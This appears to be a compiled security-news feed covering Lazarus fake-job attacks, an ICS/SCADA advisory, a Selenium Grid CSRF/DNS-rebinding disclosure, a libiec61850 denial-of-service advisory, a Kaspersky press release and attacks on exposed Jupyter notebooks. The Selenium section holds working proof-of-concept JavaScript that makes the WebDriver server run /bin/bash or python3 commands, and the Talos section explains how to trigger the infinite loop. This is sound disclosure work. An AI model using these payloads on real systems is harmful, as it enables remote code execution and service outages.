Chemical companies are the latest to be targeted by the well-known North Korean group, which has targeted financial firms, security researchers, and technology companies in the past.

The North Korean-linked Lazarus group sent fake job offers to targets in the chemical sector and information technology firms, which — when opened — install Trojan horse programs to collect information and send it back to the attackers, technology provider Broadcom's security arm Symantec stated in an advisory on April 14.

The attack is part of a long-running campaign — dubbed Operation Dream Job — that sends targets in specific industries malicious Web files disguised as job offers, which when opened attempts to compromise the system. While the current set of attacks focuses on South Korean chemical companies and their IT service providers, other targets have included industries and government agencies in Europe, Asia, and the United States. This campaign marks a shift, as Lazarus in the past targeted the defense, government, and engineering sectors.

The attacks have, at various times, targeted defense contractors, engineering firms, government agencies, and even pharmaceutical companies during the height of the pandemic, says Dick O’Brien, principal intelligence analyst for Symantec's threat-hunting team.

"North Korea-linked attackers have a long history of targeting intellectual property, presumably to assist strategically important engineering or technology projects," he says, adding: "Across all attacks, we’ve seen a range of data theft \[and\] data exfiltration tools deployed on infected computers. We’re assuming that they take what they need before moving on."

Other security and technology firms have also documented Lazarus's involvement in Operation Dream Job, which some researchers track as Operation AppleJeus. In early 2021, the Lazarus group targeted security researchers with similar offers of high-level jobs in the industry. And, earlier this year, the attackers targeted more than 250 individuals working for news media, software vendors, and Internet infrastructure providers, using job offers that appeared to come from Disney, Google, and Oracle, according to Google, which tracked the campaign.

A related campaign targeted cryptocurrency and financial technology and services firms, Adam Weidemann, a researcher with Google's Threat Analysis Group, stated in a late March blog post.

"We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques," he wrote. "It is possible that other North Korean government-backed attackers have access to the same exploit kit."

**Long-Running Campaign  
**The April 14 advisory from Symantec noted that the campaign started at least as early as August 2020, albeit with a different set of targets. While the current campaign targets the chemical sector, campaigns discovered in 2020 had focused on government agencies and defense contractors, the company stated in its advisory.

"Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage," the company said.

Symantec's threat team outlined the steps in a successful attack in January 2022, which completed less than four days after the target received the file until the final execution of a program that collected and exfiltrated system data. After the targeted user opened the fake job offer, the attack exploited a vulnerability in one of two software packages, the INISAFE Web EX Client for system management or MagicLine, a gym management program, says Symantec's O'Brien.

"They’re not household names for us but our working assumption is they’re widely used in the industry or sector they’re currently targeting," he says. "An alternative hypothesis is they installed the software themselves in order to inject into it, but we haven’t seen any evidence of that."

While companies not running either application may not have to worry about this particular attack, cyber-espionage groups such as Lazarus are very good at tailoring attacks to match their target's environment, he says.

For that reason, no single solution will help prevent cyber-espionage attacks, O'Brien stressed. Instead, companies should take a layered approach to defense, using network detection, endpoint security, and hardening technologies — such as multifactor authentication — to protect against multiple vectors of attack, he says.

"We’d also advise implementing proper audit and control of administrative account usage, \[and\] you could also introduce one-time credentials for administrative work to help prevent theft and misuse of admin credentials," O'Brien says. "We’d also suggest creating profiles of usage for admin tools, \[because\] many of these tools are used by attackers to move laterally undetected through a network."

Lazarus Targets Chemical Sector With 'Dream Jobs,' Then Trojans

Omdia Senior Analyst Hollie Hennessy says the new threat to multiple ICS and SCADA devices underscores the importance of a rapid response to IoT and OT security risks.

On April 13, the Department of Energy (DoE), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) released a joint Cybersecurity Advisory to warn that certain industrial control systems (ICS) and supervisory control and data acquisition (SCADA) devices can be targeted by advanced persistent threat (APT) actors who have the capability to gain full system access.

The alert warned that vulnerable products include Schneider Electric programmable logic controllers, OMRON Sysmac NEX PLCs and Open Platform Communications Unified Architecture (OPC UA) servers.

Once on the operational technology (OT) network, APT actors can utilize certain custom-made tools to scan for vulnerable devices, and then exploit and subsequently take control of them.

The advisory also noted a critical issue with Windows-based engineering workstations. Systems in the OT environment, or even on the IT side, can be compromised using an exploit targeting vulnerable motherboard drivers.

Utilizing these techniques, importantly and worryingly, could allow APT actors to elevate their privileges, move laterally within the OT environment to other devices, and disrupt or crash critical devices.

With recent events, such as the Colonial Pipeline attack, which saw the entire OT environment shut down (despite not even originating with OT devices), plus the rise of ransomware and the threat of politically motivated national state actors, those in critical national infrastructure need to act fast.

DoE, CISA, NSA, and the FBI urge organizations, especially those in the energy sector, to implement detection and mitigation recommendations to detect APT activity and harden their ICS/SCADA devices.

The advisory credited security firms including Dragos, Mandiant, and Palo Alto Networks for contributions leading to the advisory. Dragos revealed it’s been analyzing the malware (dubbed PIPEDREAM) since early 2022.

**Conclusions  
**It goes without saying that threat actors will continually find a way to penetrate IoT and OT networks; this advisory is not the first of its kind, nor will it be the last.

The tricky issue with OT networks is their average age (often spanning decades), complex history (evolving organically with minimal planning), and the demanding nature of devices. Traditionally, OT environments did not connect to the IT network in the way they do today — they were physically segregated and disconnected from the outside world, as well as the enterprise and any IT-related functions. This is what’s called an "air gap" but is now a thing of the past.

Digital transformation and the connection of OT systems and other devices to the network broadens the attack surface and opens up industrial environments to attackers. But the business priorities driving this transition, plus the nature of legacy systems and devices that need to be constantly available, mean security is often left behind.

The alert underscores how important it is for enterprises to prepare to address these kinds of IoT and OT security advisories quickly and thoroughly, before adversaries can take advantage of them.

It may seem trivial, but first points of call include changing all passwords and maintaining offline backups — which can help to mitigate brute-force attacks and aid fast recovery in the event of an attack. Those in industrial environments need to ensure they have a robust cybersecurity posture in place — including adequate visibility and monitoring, alongside perimeter and access controls.

The alert notes the importance of collaboration between stakeholders across IT, cybersecurity and operations, which is especially important to ensure cybersecurity is effectively applied in these complex IoT and OT environments with their own unique requirements.

CISA Alert on ICS, SCADA Devices Highlights Growing Enterprise IoT Security Risks

Selenium Selenium Grid (formerly Selenium Standalone Server) Fixed in 4.0.0-alpha-7 is affected by: DNS rebinding. The impact is: execute arbitrary code (remote). The component is: WebDriver endpoint of Selenium Grid / Selenium Standalone Server. The attack vector is: Triggered by browsing to to a malicious remote web server. The WebDriver endpoint of Selenium Server (Grid) is vulnerable to DNS rebinding. This can be used to execute arbitrary code on the machine.

Feb 7 2022

computer security web vulnerability webdriver csrf dns-rebinding advisory

CVE-2022-28108 CVE-2022-28109

**Previous episode:** DNS rebinding vulnerability to RCE in geckodriver

Vulnerabilities in found on the WebDriver endpoints of Selenium Server (Grid).

Selenium Server (Grid) is vulnerable to Cross-Site Request Forgery (CSRF) and DNS-rebinding attacks. This is CVE-2022-28108 and CVE-2022-28109 respectively. These vulnerabilities can be exploited to execute arbitrary system commands (remote command execution) through both geckodriver and chromedriver. This was fixed in 4.0.0-alpha-7.

**CSRF****Proof-of-concept**

In this example, we show how we can achieve RCE with CSRF through geckodriver:

`async function main() {   await fetch("http://localhost:4444/wd/hub/session", {       method: "POST",       mode: 'no-cors',       headers: {           'Content-Type': 'text/plain'         },       body: JSON.stringify({         "capabilities": {           "browserName": "firefox",           "alwaysMatch": {             "moz:firefoxOptions": {               "binary": "/bin/bash",               "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]             }           }         }       }),   }); } main();`

This vulnerability has been tested on:

*   geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000);
*   ChromeDriver 81.0.4044.92 (e98e6f21168a55e7ba57202f56323911cd9d31d1-refs/branch-heads/4044@{#883});
*   Debian testing.

Note that as part of the fix for CVE-2020-15660, newer versions of GeckoDriver do not execute arbitrary code through this method. It is however possible to execute arbitrary code by shipping custom Firefox configuration:

It is possible to execute arbitrary code through chromedriver as well:

`fetch("http://localhost:4444/wd/hub/session", {     method: "POST",     mode: 'no-cors',     headers: {         'Content-Type': 'text/plain'     },     body: JSON.stringify({         "capabilities": {             "browserName": "chrome",             "alwaysMatch": {                 "goog:chromeOptions": {                     "binary": "/usr/bin/python3",                     "args": ["-cimport os;os.system('xterm -e nyancat')"]                 }             }         }     }), });`

**Mitigations****Content-Type Validation**

CSRF is possible because selenium-standalone-server accepts requests with any `Content-Type`. Another origin can make POST requests to selenium-standalone-server using the following content-types: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`.

selenium-standalone-server could fix this vulnerability by rejecting these content-types. selenium-standalone-server could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers (a similar issue has been reported on another implementation). The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionally, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.

**HTTP-level Authentication**

An new command-line flag could be added to selenium-standalone-server in order to enable some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.

**PF\_LOCAL Socket**

selenium-standalone-server could receive a new option to listen on a `PF_LOCAL` socket. These sockets are normally not accessible by CSRF. This could additionally be used to prevent other users on the same machine from talking to the selenium-standalone-server instance.

**DNS rebinding**

Selenium server is vulnerable to DNS rebinding attacks. In contrast to the Crossite-Site Request Forgery (CSRF), when using this vulnerability, an attacker can see the responses of the attacked Selenium server instance. The attacker can thus interact with the created WebDriver session. This could be used:

*   to attack local services (localhost-bound or on the local network);
*   to attack remote services using the IP address of the victim;
*   reading local files (by navigating to `file://`);
*   running other programs by navigating to URIs with other schemes;
*   remote code execution.

This vulnerability has been tested on:

*   Mozilla Firefox Nightly 80.0a1 (2020-07-13)
*   Chromium 83.0.4103.116 built on Debian bullseye/sid, running on Debian bullseye/sid
*   ChromeDriver 83.0.4103.116 (8f0c18b4dca9b6699eb629be0f51810c24fb6428-refs/branch-heads/4103@{#716})
*   geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
*   selenium-server-4.0.0-alpha-6.jar
*   Debian testing

**Reproduction steps**

Run selenium server:

`java -jar selenium-server-4.0.0-alpha-6.jar -port 5555`

The following JavaScript payload served from a HTTP web server using the same port number as Selenium (eg. TCP 5555) may be used to trigger the vulnerability:

`function sleep(delay) {   return new Promise((resolve, reject) => {setInterval(resolve, delay);}); } async function createSession() {   while (true) {     const response = await fetch("/wd/hub/session", {         method: "POST",         mode: "same-origin",         headers: {             'Content-Type': 'application/json'         },         body: JSON.stringify({           "capabilities": {             "alwaysMatch": {               "browserName": "firefox"             }           }         })     });     if (response.status >= 200 && response.status < 300)       return response.json();     await sleep(1000);   } } async function main() {   const creation = await createSession();   const sessionId = creation.value.sessionId;   const sessionPath = "/wd/hub/session/" + sessionId;   fetch(sessionPath + "/url", {     method: "POST",     mode: "same-origin",     headers: {       'Content-Type': 'application/json',     },     body: JSON.stringify({       "url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"     })   }); } main();`

The browser user must access this web server using a DNS rebinding domain name. For example using whonow:

`http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:5555/`

**Mitigations**

Selenium server is vulnerable to DNS rebinding attacks because it is accepting requests using arbitrary `Host` header (eg. `Host: rebind.netlib.re:4444`). By checking the value of the `Host` header and enforcing values such as `localhost:444`, we can prevent DNS rebinding attacks.

**Resolution**

In 2020-06-10, I checked selenium-server-4.0.0-beta-4. and found that changes were merged in commit 48a54517e9e5c8fd7b619b8199398fae03199892 releases the 10th July 2020. This was fixed in 4.0.0-alpha-7.

**CSRF protection**

It is apparently not vulnerable to CSRF because it checks the `Content-Type` header.

`public static final String JSON_UTF_8 = "application/json; charset=utf-8";  // [...]  String type = req.getHeader("Content-Type"); if (type == null) {   return NO_HEADER; }  try {   if (!MediaType.JSON_UTF_8.equals(MediaType.parse(type))) {     return badType(type);   } } catch (IllegalArgumentException e) {   return badType(type); }`

**DNS rebinding protection**

Some DNS rebinding protection has been implemented. However, Selenium server does not check the `Host` header but only checks the `Origin` header (if present). As a consequence, it is not vulnerable to DNS rebinding attacks through evergreen browsers but could be vulnerable through other (older) browsers.

`String origin = req.getHeader("Origin"); if (origin != null && !allowedHosts.contains(origin)) {   return new HttpResponse()     .setStatus(HTTP_INTERNAL_ERROR)     .addHeader("Content-Type", JSON_UTF_8)     .setContent(Contents.asJson(ImmutableMap.of(       "value", ImmutableMap.of(         "error", "unknown error",         "message", "Origin not allowed: " + origin,         "stacktrace", "")))); }`

**Impact**

The Selenium doc says the following:

> **Warning**
> 
> The Selenium Grid must be protected from external access using appropriate firewall permissions.
> 
> Failure to protect your Grid could result in one or more of the following occurring:
> 
> *   You provide open access to your Grid infrastructure
> *   You allow third parties to access internal web applications and files
> *   You allow third parties to run custom binaries
> 
> See this blog post on Detectify, which gives a good overview of how a publicly exposed Grid could be misused: Don’t Leave your Grid Wide Open

However, the CSRF and DNS-rebinding attacks can be used to bypass firewall permissions. If some browser in the local network visits a malicious website, this website could exploit the browser to reach WebDriver endpoint and execute arbitrary code. This include browser instances launched by Selenium itself.

**References**

*   WebDriver

**Timeline**

*   2020-06-30, Reported CSRF vulnerability to Selenium Team
*   2020-07-14, Reported DNS-rebinding to Selenium Team
*   2020-07-03, Worked with Selenium team to help them reproduce the bug and got confirmation
*   2020-07-10, Fixes developed
*   2021-06-10, Checked against latest beta (selenium-server-4.0.0-beta-4)
*   2021-06-10, Asked for update and disclosure schedule
*   2021-06-12, Requested CVE IDs
*   2022-04-16, CVE IDs allocated

CVE-2022-28109: CSRF and DNS-rebinding to RCE in Selenium Server (Grid)

A denial of service vulnerability exists in the parseNormalModeParameters functionality of MZ Automation GmbH libiec61850 1.5.0. A specially-crafted series of network requests can lead to denial of service. An attacker can send a sequence of malformed iec61850 messages to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the parseNormalModeParameters functionality of MZ Automation GmbH libiec61850 1.5.0. A specially-crafted series of network requests can lead to denial of service. An attacker can send a sequence of malformed iec61850 messages to trigger this vulnerability.

**Tested Versions**

MZ Automation GmbH libiec61850 1.5.0

**Product URLs**

libiec61850 - https://github.com/mz-automation/libiec61850

**CVSSv3 Score**

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-835 - Loop with Unreachable Exit Condition (‘Infinite Loop’)

**Details**

libiec61850 is a C implementation of the various protocols defined within the IEC61850 specification. Example client/server applications are provided for common use cases. This library can also be used as a building block to integrate IEC61850 communications into a custom client/server application.

When an IEC61850 message containing a Presentation layer with Normal Mode parameters is processed, execution enters the `parseNormalModeParameters` function in `iso_presentation.c`. This function loops over the message buffer starting from a provided `bufPos` position until the `endPos` position is reached or a failure case is encountered. At the start of each iteration, the BER tag for the current parameter is extracted from the buffer, as shown below.

    static int
    parseNormalModeParameters(IsoPresentation* self, uint8_t* buffer, int totalLength, int bufPos)
    {
        int endPos = bufPos + totalLength;
    
        self->calledPresentationSelector.size = 0;
        self->callingPresentationSelector.size = 0;
    
        bool hasUserData = false;
    
        while (bufPos < endPos) {
            uint8_t tag = buffer[bufPos++];
            int len;
    
            if (bufPos == endPos) {
                if (DEBUG_PRES)
                    printf("PRES: invalid message\n");
                return -1;
            }
    
            bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, endPos);
    

The value of this tag determines how the bytes following should be processed. Three cases in particular are notable: 0xA4, 0x00 and the default.

When the tag 0x00 is encountered, execution just continues on to the next loop iteration and starts processing the next tag. In this case the `bufPos` variable will be incremented by one when the next tag is read.

    case 0x00: /* indefinite length end tag -> ignore */
    break;
    

When an unknown tag is encountered, the buffer position is incremented to skip past it, and execution continues on to the next loop iteration and starts processing the next tag. This allows for longer position jumps within the buffer.

    default:
        if (DEBUG_PRES)
            printf("PRES: unknown tag in normal-mode\n");
    
        bufPos += len;
        break;
    

When the `presentation-context-definition list` parameter (0xA4) is encountered, the function `parsePresentationContextDefinitionList` is used to perform additional parsing. Notably, the result of `parsePresentationContextDefinitionList` gets placed into the `bufPos` variable and is not checked before the next loop iteration.

    case 0xa4: /* presentation-context-definition list */
        if (DEBUG_PRES)
            printf("PRES: pcd list\n");
    
        bufPos = parsePresentationContextDefinitionList(self, buffer, len, bufPos);
        break;
    

`parsePresentationContextDefinitionList` starts off by calculating the end of the presentation-context-definition list before entering a processing loop where the next tag is extracted and its length decoded.

    static int
    parsePresentationContextDefinitionList(IsoPresentation* self, uint8_t* buffer, int totalLength, int bufPos)
    {
        int endPos = bufPos + totalLength;
    
        while (bufPos < endPos) {
            uint8_t tag = buffer[bufPos++];
            int len;
    
            bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, endPos);
            if (bufPos < 0)
                return -1;
    

`BerDecoder_decodeLength` starts recursively processing the length, returning the result.

    int
    BerDecoder_decodeLength(uint8_t* buffer, int* length, int bufPos, int maxBufPos)
    {
        return BerDecoder_decodeLengthRecursive(buffer, length, bufPos, maxBufPos, 0, 50);
    }
    

Finally, `BerDecoder_decodeLengthRecursive` is called, and a check is made to determine if the current position is greater than or equal to the maximum allowed buffer. When it is determined to be so, `-1` is returned.

    static int
    BerDecoder_decodeLengthRecursive(uint8_t* buffer, int* length, int bufPos, int maxBufPos, int depth, int maxDepth)
    {
        if (bufPos >= maxBufPos){
            return -1;
        }
    

When this occurs, `-1` gets returned up the chain to `parsePresentationContextDefinitionList`.

    static int
    parsePresentationContextDefinitionList(IsoPresentation* self, uint8_t* buffer, int totalLength, int bufPos)
    {
        int endPos = bufPos + totalLength;
    
        while (bufPos < endPos) {
            uint8_t tag = buffer[bufPos++];
            int len;
    
            bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, endPos);
            if (bufPos < 0)
                return -1;
    

Here `bufPos` is determined to be less than zero and `-1` is again returned, this time back to the `presentation-context-definition list` case within `parseNormalModeParameters`.

    case 0xa4: /* presentation-context-definition list */
        if (DEBUG_PRES)
            printf("PRES: pcd list\n");
    
        bufPos = parsePresentationContextDefinitionList(self, buffer, len, bufPos);
        break;
    

This leaves `bufPos` set to `-1` at the start of the next loop iteration, allowing the while condition to pass and begin again.

    static int
    parseNormalModeParameters(IsoPresentation* self, uint8_t* buffer, int totalLength, int bufPos)
    {
        int endPos = bufPos + totalLength;
    
        self->calledPresentationSelector.size = 0;
        self->callingPresentationSelector.size = 0;
    
        bool hasUserData = false;
    
        while (bufPos < endPos) {
            uint8_t tag = buffer[bufPos++];
            int len;
    

If a message is properly constructed such that `len` and `bufPos` add together to equal `endPos`, the failure case in `BerDecoder_decodeLengthRecursive` will be hit and `bufPos` will be set to `-1`. Then as long as nothing within the buffer causes `bufPos` to be greater than `endPos`, and the `presentation-context-definition list` continues to be executed. An infinite loop condition will be reached.

Since each connection is handled in its own thread, one of these messages will not be enough to cause a denial of service. However, by sending the message multiple times it is possible to tie up all of the available connections and prevent legitimate communications from getting through to the server. The maximum number of client connections is set to a default value of 100 in `stack_config.h`, as shown below:

    /* number of concurrent MMS client connections the server accepts, -1 for no limit */
    #define CONFIG_MAXIMUM_TCP_CLIENT_CONNECTIONS 100
    

If at least `CONFIG_MAXIMUM_TCP_CLIENT_CONNECTIONS` malformed messages are sent, all available connections will be stuck in infinite loops, preventing any new connections from being processed

**Crash Information**

When a known good MMS Initiate Request message is sent to the server, an Initiate Response message is expected to be returned.

    "No.","Time","Source","Destination","Protocol","Length","Info"
    "1","0.000000000","127.0.0.1","127.0.0.1","TCP","74","46602  >  102 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 SACK_PERM=1 TSval=3775924408 TSecr=0 WS=128"
    "2","0.000010190","127.0.0.1","127.0.0.1","TCP","74","102  >  46602 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0 MSS=65495 SACK_PERM=1 TSval=3775924408 TSecr=3775924408 WS=128"
    "3","0.000019233","127.0.0.1","127.0.0.1","TCP","66","46602  >  102 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=3775924408 TSecr=3775924408"
    "4","0.000144676","127.0.0.1","127.0.0.1","MMS","263","initiate-RequestPDU "
    "5","0.000149145","127.0.0.1","127.0.0.1","TCP","66","102  >  46602 [ACK] Seq=1 Ack=198 Win=65408 Len=0 TSval=3775924408 TSecr=3775924408"
    "6","0.000207725","127.0.0.1","127.0.0.1","MMS","208","initiate-ResponsePDU "
    "7","0.000228681","127.0.0.1","127.0.0.1","TCP","66","46602  >  102 [ACK] Seq=198 Ack=143 Win=65408 Len=0 TSval=3775924408 TSecr=3775924408"
    "8","0.000280524","127.0.0.1","127.0.0.1","TCP","66","46602  >  102 [FIN, ACK] Seq=198 Ack=143 Win=65536 Len=0 TSval=3775924408 TSecr=3775924408"
    "9","0.042521649","127.0.0.1","127.0.0.1","TCP","66","102  >  46602 [ACK] Seq=143 Ack=199 Win=65536 Len=0 TSval=3775924450 TSecr=3775924408"
    "10","0.042576068","127.0.0.1","127.0.0.1","TCP","66","102  >  46602 [FIN, ACK] Seq=143 Ack=199 Win=65536 Len=0 TSval=3775924450 TSecr=3775924408"
    "11","0.042668070","127.0.0.1","127.0.0.1","TCP","66","46602  >  102 [ACK] Seq=199 Ack=144 Win=65536 Len=0 TSval=3775924450 TSecr=3775924450"
    

After the poc has been run and all available client connections are stuck in a loop, a TCP Reset is received instead of an Initiate Response message.

    "No.","Time","Source","Destination","Protocol","Length","Info"
    "1408","35.098853688","127.0.0.1","127.0.0.1","TCP","74","46810  >  102 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 SACK_PERM=1 TSval=3776076062 TSecr=0 WS=128"
    "1409","35.098869281","127.0.0.1","127.0.0.1","TCP","74","102  >  46810 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0 MSS=65495 SACK_PERM=1 TSval=3776076062 TSecr=3776076062 WS=128"
    "1410","35.098881077","127.0.0.1","127.0.0.1","TCP","66","46810  >  102 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=3776076062 TSecr=3776076062"
    "1411","35.098929987","127.0.0.1","127.0.0.1","MMS","263","initiate-RequestPDU "
    "1412","35.098934721","127.0.0.1","127.0.0.1","TCP","66","102  >  46810 [ACK] Seq=1 Ack=198 Win=65408 Len=0 TSval=3776076062 TSecr=3776076062"
    "1413","35.099298315","127.0.0.1","127.0.0.1","TCP","66","102  >  46810 [FIN, ACK] Seq=1 Ack=198 Win=65408 Len=0 TSval=3776076063 TSecr=3776076062"
    "1414","35.099328069","127.0.0.1","127.0.0.1","TCP","66","102  >  46810 [RST, ACK] Seq=2 Ack=198 Win=65536 Len=0 TSval=3776076063 TSecr=3776076062"
    

**Mitigation**

The `presentation-context-definition list` case could check for failure similar to how the `user data` parameter (0x61) checks the `bufPos` value before allowing execution to continue. A diff including this suggested update is shown below:

    user@machine:~$ git diff
    diff --git a/src/mms/iso_presentation/iso_presentation.c b/src/mms/iso_presentation/iso_presentation.c
    index 96fd8a3..38cb9c1 100644
    --- a/src/mms/iso_presentation/iso_presentation.c
    +++ b/src/mms/iso_presentation/iso_presentation.c
    @@ -469,6 +469,11 @@ parseNormalModeParameters(IsoPresentation* self, uint8_t* buffer, int totalLengt
                 if (DEBUG_PRES)
                     printf("PRES: pcd list\n");
                 bufPos = parsePresentationContextDefinitionList(self, buffer, len, bufPos);
    +
    +            if (bufPos < 0){
    +                return -1;
    +            }
    +
                 break;
     
             case 0xa5: /* context-definition-result-list */
    user@machine:~$
    

**Timeline**

2022-02-28 - Public Release  

Discovered by Jared Rittle of Cisco Talos.

CVE-2022-21159: TALOS-2022-1467 || Cisco Talos Intelligence Group

Also, it re-certifies its data services by TÜV AUSTRIA.

**Woburn, MA – April 14, 2022 -** Kaspersky has expanded the scope of its cyberthreat-related data relocation, which now covers users in Latin America and the Middle East. The company’s commitment to following the best data security practices has been reaffirmed by TÜV AUSTRIA’s re-certification of Kaspersky’s data services with an expanded scope. In addition, the company publicly shared information on the requests for data and technical expertise received from government and law enforcement agencies as well as from users in H2 2021.

These measures reflect the company’s continuous commitment to move toward greater transparency undertaken as part of the Global Transparency Initiative (GTI). By launching GTI in 2017, Kaspersky set a benchmark for digital trust and became the first cybersecurity vendor to make its source code available for review. Committed to being a trusted partner for its users, to date, Kaspersky remains one of few international IT vendors that seek to turn transparency into an industry standard and take steps toward greater accountability.

Since March 2022, Kaspersky has been processing and storing malicious and suspicious files received from users in Latin America and the Middle East, which used to be processed by facilities in Russia, in data-centers in Zurich, Switzerland. Prior to that, the relocation of such data storage had been completed for Europe, North America and a number of Asia-Pacific countries. Swiss data centers provide world-class facilities in compliance with leading industry standards so the company’s users can be confident in the security of their data.

Moreover, Kaspersky has renewed its ISO 27001\* certification issued by independent certification body TÜV AUSTRIA, an internationally recognized applicable security standard. In addition to the audit passed in 2020, this time the scope of the certification was even extended and now covers not only the Kaspersky Security Network (KSN) system for the safe storage and access to malicious and suspicious files (called KLDFS), but also KSN systems for processing statistics (called KSNBuffer database).

Conformity with ISO/IEC 27001:2013 – internationally recognized as the best practice industry and applicable security standard – lies at the core of Kaspersky’s approach to implementing and managing information security. The certification – granted by the third-party accredited certification body, TÜV AUSTRIA – demonstrates the company’s commitment to strong information security and its Data Service’s compliance with industry leading practices.

The document can be found in the TÜV AUSTRIA Certificate Directory and is also publicly available on the Kaspersky website here.

Andrey Efremov, Kaspersky’s Chief Business Development Officer, said_: “We have relocated the cyberthreat-related data processing and storage from a number of additional countries and territories to facilities in Switzerland – a country renowned for its strict data protection legislation. These steps form just part of our Global Transparency Initiative, which also includes independent assessments of our company’s data service and engineering practice integrity, and the provision of our products’ source code for open review. Together, these measures further underline our commitment to ensuring that the way we treat our user data is as open and transparent as possible, and that we continue to provide our customers and partners with the most reliable and trustworthy solutions and services.”_

**The new edition of the Transparency report**

Kaspersky has developed an enduring practice of disclosing information on the company’s approach to dealing with data requests and releases its regular “Law Enforcement and Government Requests” report, uncovering data in two categories: user data and technical expertise\*\*. The latest report looks at this data during the second half of 2021.

In particular, during the second half of 2021, Kaspersky received 109 requests from governments and law enforcement agencies (LEAs) from 12 countries. At least 36% of those were rejected due to an absence of data or to not meeting legal verification requirements. In total, 92 of the requests received during the second half of the last year were for technical expertise.

In total, throughout 2021, Kaspersky received 214 requests, (compared to 160 requests in 2020), from governments and LEAs from 17 countries. A total of 181 of those were for technical expertise (compared to 132 in 2020). Further information on the steps for processing such requests can be found here.

At the same time, the number of user requests for details on what and where user data is stored and its provision or removal increased, reaching 2,252 in total.

To promote accountability and transparency of cybersecurity industry standards, Kaspersky seeks to share its expertise with a broader community. Thus, as part of its Global Transparency Initiative, Kaspersky further expanded its Cyber Capacity Building Program (CCBP), which aims to help organizations worldwide develop practical tools and knowledge for security assessments by launching a relevant online course — “Digital Cyber Capacity Building Program.” The online training, which is now available for an even greater audience, will ensure that more organizations and individuals will have a chance to boost their cyber-resilience by learning how to properly carry out product security assessments and evaluations.

To learn more about the Kaspersky Global Transparency Initiative, please visit the website here.

\* ISO/IEC 27001 is the most widely used information security standard, prepared and published by the International Organization for Standardization (ISO), the world’s largest developer of voluntary international standards.

\*\*User data includes information provided by users to Kaspersky when they use the company’s products and services. It depends on the services, products and features users use and is protected as described in the Kaspersky Privacy Policy.

Requests for technical expertise include non-personal technical information produced and provided by Kaspersky security researchers and machine learning algorithms. This may include the MD5 hashes of malware, indicators of compromise (IoCs), information about the modus operandi of cyberattacks, output of malware reverse engineering, statistical information and other results of investigations and research.

Kaspersky Relocates Cyberthreat-Related Data Processing for Users in Latin America and Middle East to Switzerland

Researchers should take extra care in deploying data-science applications to the cloud, as cybercriminals are already targeting popular data-science tools such as Jupyter Notebook.

Always looking for an easy compromise, attackers are now scanning for data-science applications — such as Jupyter Notebook and JupyterLab — along with cloud servers and containers for misconfigurations, cloud-protection firm Aqua Security stated in an advisory published on April 13.

The two popular data science applications — used frequently with Python and R for data analysis — are generally secure by default, but a small fraction of instances are misconfigured, allowing attackers to access the servers with no password, according to the Aqua Security's researchers. In addition, after setting up its own server as a honeypot, the company detected in-the-wild attacks that attempted to install cryptomining tools and ransomware onto accessible instances of the software.

Signs that there are attackers targeting data-science environments is worrisome, considering that the researchers setting up those environment are largely uninformed about cybersecurity, says Assaf Morag, lead data analyst with Aqua Security.

"We know, based on our experience with application security, that developers are starting to learn more about security, but what about data scientists?" he says. "Are they gaining a proper education? My training is as a data scientist, and there were no focus on data security."

**Looking for Misconfigurations**  
In the past, threat actors have frequently scanned the Internet for servers running insecurely configured application. Last year, for example, a misconfigured Git server using default login credentials allowed attackers to steal source code for Nissan's mobile apps, market-research tools, and vehicle-connected services. Over the past five years, a significant number of data breaches have been caused by misconfigured storage servers — such as Amazon's Simple Storage Service (S3) buckets — that were found by attackers.

Research conducted in 2020 found that misconfigured cloud services, containers, and servers are attacked within hours of appearing online. The research, which used an insecurely configured Elasticsearch instance, was targeted by 175 scans over 11 days, increasing to 435 requests over the subsequent 2 weeks, including searches for particular terms such as "password" and "wallet."

The attacks on data-science tools used similar tactics, as seen through the lens of its honeypots, Aqua Security stated in its advisory.

"Most of the attacks got initial access via misconfigured environments," the company stated. "After gaining access, adversaries attempted to achieve persistence by creating a new user in the notebook or adding Secure Shell (SSH) keys. Then, most of the attacks executed a cryptominer, trying to get a quick gain."

The problem is that a small minority of the instances are configured to allow anyone to access the notebook server. During the research, for example, the Aqua Security researchers saw a novel attempt at using access gained through Jupyter Notebook to run a Python-based crypto-ransomware program.

"Normally, access to the online application should be restricted, either with a token or password or by limiting ingress traffic," Aqua Security wrote in the ransomware advisory. "However, sometimes these notebooks are left exposed to the internet with no authentication means, allowing anyone to easily access the notebook via a web browser."

**Lock Down Data Tools**  
Overall, data scientists and the Jupyter Project appear to be doing a credible job in securing the software. In total, less than 1% of the approximately 10,000 of instances of Jupyter Notebook are configured for open access, according to scans using the Shodan search engine. The fact that attackers are targeting the servers, however, should prompt defenders to focus on ensuring that the data-science tools are locked down, says Aqua Security's Morag.

